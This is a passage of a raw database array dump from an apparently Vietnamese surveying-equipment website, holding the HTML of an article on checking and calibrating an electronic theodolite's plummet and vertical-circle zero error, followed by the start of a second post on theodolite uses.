style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp dấu “X” nằm ở tâm lưới chỉ, không cần hiệu chỉnh. Trường hợp sai lệch, tiến hành hiệu chỉnh theo chỉ dẫn dưới đây.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><img alt="hieuchinhkinhdoitam" class="wp-image-5350 size-full aligncenter" height="394" sizes="(max-width: 994px) 100vw, 994px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam-300x119.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png 994w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="994" /></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Dùng tuốc no vít đã cung cấp, quay vít chỉnh đưa dấu “X” đi nửa đoạn thẳng nối tâm với lưới chuẩn</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Lặp lại các bước kiểm tra</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieu chinh doi tam" class="wp-image-5351 size-full aligncenter" height="490" sizes="(max-width: 346px) 100vw, 346px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam-212x300.png 212w, http://tracdiapro.com/wp-content/uploads/2015/11/hieu-chinh-doi-tam.png 346w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="346" /></a></span></span></span></p> <br /> <h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="4-sai-so-diem-0-ban-do-dung" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">4. Sai số điểm 0 bàn độ đứng</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên và cân máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để ống kính ngắm về bên trái, chọn mục tiêu P tùy ý theo bàn độ ngang trong phạm vi 10 độ, và đọc giá trị góc đứng…VR</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ngược ống kính về phía bên phải và đọc giá trị khác góc đứng…VL của mục tiêu P</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi VR+VL=360 độ/400G khi đặt thiên đỉnh 0 độ, hoặc khi VR+VL=180 độ/200G ( Hoặc 540 độ/600G) khi đặt ngang 0 độ, không cần hiệu chỉnh. Nếu sai khác thì phải tiến hành hiệu chỉnh theo hướng dẫn sau:</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> Sai số ngắm chuẩn phương đứng cho các góc nói trên (360 độ, 180 độ và 540 độ hoặc 400G, 200G và 600G), và liên quan tới hằng số trục đứng. Hằng số trục đứng là phần bù kép cho sai số điểm không. Chú ý rằng sai số du xích đối xứng không có quan hệ với hằng số trục đứng. Do đó, phải lấy giá trị đọc một trong hai phương thiên đỉnh 0 hoặc phương ngang 0 độ, và tiến hành kiểm tra sai số.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trước khi đo, xem lại phương góc đứng 0 độ ở dạng cài đặt tham số ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Góc đứng hiển thị như sau thiên đỉnh 0, bất chấp cài đặt ban đầu</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hai kiểu sai số cố định trục đứng để đặt đóng hay tắt bật tự động bù trục đứng, và ấn định trong các mục cài đặt ban đầu cho máy</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù sai số điểm 0 là chức năng không tính đến bật cài đặt tự động bù trục đứng</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trong khi ấn phím ký hiệu bóng đèn, bật công tắc nguồn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Màn hình hiển thị sáng lên và giá trị hằng số trục đứng hiện thời được hiển thị.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5353 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn1-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn1.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> Nghiêng ống kính qua phương ngang ở vị trí mặt trái để đọc giá trị góc đứng</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Góc đứng “VR” xuất hiện ở dòng trên màn hình tinh thể lỏng.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5354 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn11-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn11.png 487w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Khi ở vị trí mặt trái, ngắm mục tiêu P tùy ý, nằm trong phạm vi 10 độ theo phương ngang.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -VR mang ra giá trị góc đứng của mục tiêu P</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5355 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn12-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn12.png 482w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VR vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Giá trị VR lưu giữ hiển thị ở dòng phía bên mà hình tinh thể lỏng, đồng thời VL hiển thị ở dòng dưới.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5356 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn13-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn13.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay ống kính về vị trí mặt phải và ngắm lại mục tiêu P.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Mục tiêu P có góc đứng hiển thị ở dòng dưới</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5357 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn14-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn14.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím (HOLD) lưu giá trị VL vào bộ nhớ</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"> -Hằng số truc đứng hiển thị một giây trên cả 2 góc đứng mặt phải và trái là đưa vào</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5358 aligncenter" height="67" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn15-300x67.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15-480x108.png 480w, http://tracdiapro.com/wp-content/uploads/2015/11/mn15.png 483w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Bù góc đứng được tính bằng một nửa hằng số trục đứng và ghi vào bộ nhớ.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5359 aligncenter" height="68" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn16-300x68.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16-115x26.png 115w, http://tracdiapro.com/wp-content/uploads/2015/11/mn16.png 484w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhấn phím khác bên cạnh phím (HOLD) là bỏ qua tiến hành hoạt động này</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để tiếp tục đặt bù góc trục đứng đến giá trị tốt hơn, bật tắt nguồn.</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Tiến hành hiệu chỉnh khi hằng số tự động trục đứng vượt quá 6′, thông báo “OVER” sẽ xuất hiện trên màn hình và điều khiển quay về bước 2</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5360 aligncenter" height="66" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hằng số mới sửa sẽ được lưu giữ nguyên vẹn trong bộ nhớ thậm chí khi bật tắt nguồn. Tất cả đo góc đứng sau đó được sửa lại bằng AC mới.</span></span></span></li> </ul> ', 'images' => '20170911075630e672d20fd038cdf903acb9804399e23d.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62562', 'slug' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '863', 'rght' => '864', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '493', 'name' => 'Một số ứng dụng của máy kinh vĩ trong trắc địa', 'code' => null, 'alias' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Máy kinh vĩ là <a href="http://tracdiapro.com/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="thiết bị đo đạc">thiết bị đo đạc</a> được dùng phổ biến trong trắc địa. <a href="http://tracdiapro.com/product-category/may-kinh-vi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy kinh vĩ">Máy kinh vĩ </a> có nhiều chức năng tiện lợi phục vụ cho công tác đo đạc của các kĩ sư trắc địa. Ngoài ra máy kinh vĩ còn có một số chức năng giống với <a href="http://tracdiapro.com/may-toan-dac-dien-tu/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy toàn đạc điện tử">máy toàn đạc điện tử</a>, và có thể dùng thay thế cho các trường hợp cần thiết.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Ngày nay với sự phát triển của khoa học công nghệ hiện đại, <a href="http://tracdiapro.com/may-kinh-vi-dien-tu-la-gi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="máy kinh vĩ điện tử">máy kinh vĩ điện tử</a> đã ra đời thay cho dòng máy kinh vĩ quang 